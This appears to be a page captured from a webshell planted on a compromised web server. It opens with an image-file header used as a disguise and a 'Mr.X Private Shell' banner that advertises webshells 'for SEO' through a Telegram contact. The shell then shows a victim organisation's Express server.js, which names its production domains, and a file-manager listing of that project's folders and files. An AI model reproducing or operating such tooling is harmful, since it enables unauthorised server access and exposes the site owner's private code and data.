����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import express from "express";
import connectDb from "./config/dbConfig.js";
import Sentry from "@sentry/node";
import morgan from "morgan";
import cookieParser from "cookie-parser";
import validateLangQuery from "./middlewares/queryLangValidator.js";
import ErrorMiddleware from "./middlewares/Error.js";
import routes from "./routes/index.js";
import { envVariables } from "./config/Constants.js";
import cors from "cors";
import path from "path";
import { fileURLToPath } from "url";
import health from "./routes/health.js";
const app = express();
const __port = envVariables.appPort;
const __filename = fileURLToPath(import.meta.url);
const __dirname = path.dirname(__filename);
const allowedOrigins = [
"http://localhost:5173",
"http://localhost:5174",
"http://127.0.0.1:5173",
"http://api-lms.sanzylimited.com",
"https://lms-admin-front-end.vercel.app",
"https://branch-hr-frontend-2kbh.vercel.app",
"https://branch-account-frontend.vercel.app",
"https://branch-teachers-frontend.vercel.app",
"https://branch-student-frontend.vercel.app"
];
const corsOptions = {
origin: function (origin, callback) {
if (!origin) return callback(null, true);
if (allowedOrigins.indexOf(origin) !== -1) {
callback(null, true);
} else {
console.log("CORS Blocked:", origin);
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
methods: ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
allowedHeaders: ["Content-Type", "Authorization"]
};
app.use(cors(corsOptions));
app.options("*", cors(corsOptions));
app.use(Sentry.Handlers.requestHandler());
app.use(express.json());
app.use(morgan("dev"));
app.use(cookieParser());
app.use("/uploads", express.static(path.join(__dirname, "uploads")));
app.use((req, res, next) => {
if (req.method === 'OPTIONS') {
return next();
}
return validateLangQuery(req, res, next);
});
app.use("/api/v1", routes);
app.use("/",health);
connectDb();
app.use(Sentry.Handlers.errorHandler());
app.use(ErrorMiddleware);
app.listen(__port, (err) => {
if (err) console.error("Got an error while running the server", err);
console.log("Server Running on Port", __port);
});| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| config | Folder | 0755 |
|
|
| controllers | Folder | 0755 |
|
|
| middlewares | Folder | 0755 |
|
|
| models | Folder | 0755 |
|
|
| node_modules | Folder | 0755 |
|
|
| routes | Folder | 0755 |
|
|
| service | Folder | 0755 |
|
|
| tmp | Folder | 0755 |
|
|
| uploads | Folder | 0755 |
|
|
| utils | Folder | 0755 |
|
|
| validations | Folder | 0755 |
|
|
| .htaccess | File | 1011 B | 0644 |
|
| README_ADMIN.md | File | 3.3 KB | 0644 |
|
| README_AUTH.md | File | 3.13 KB | 0644 |
|
| README_HR.md | File | 5.05 KB | 0644 |
|
| README_TEACHER.md | File | 3.53 KB | 0644 |
|
| package-lock.json | File | 118.83 KB | 0644 |
|
| package.json | File | 573 B | 0644 |
|
| server.js | File | 2.14 KB | 0644 |
|
| stderr.log | File | 95.22 KB | 0644 |
|
| teacher portal.pdf | File | 4.14 MB | 0644 |
|
| vercel.json | File | 185 B | 0644 |
|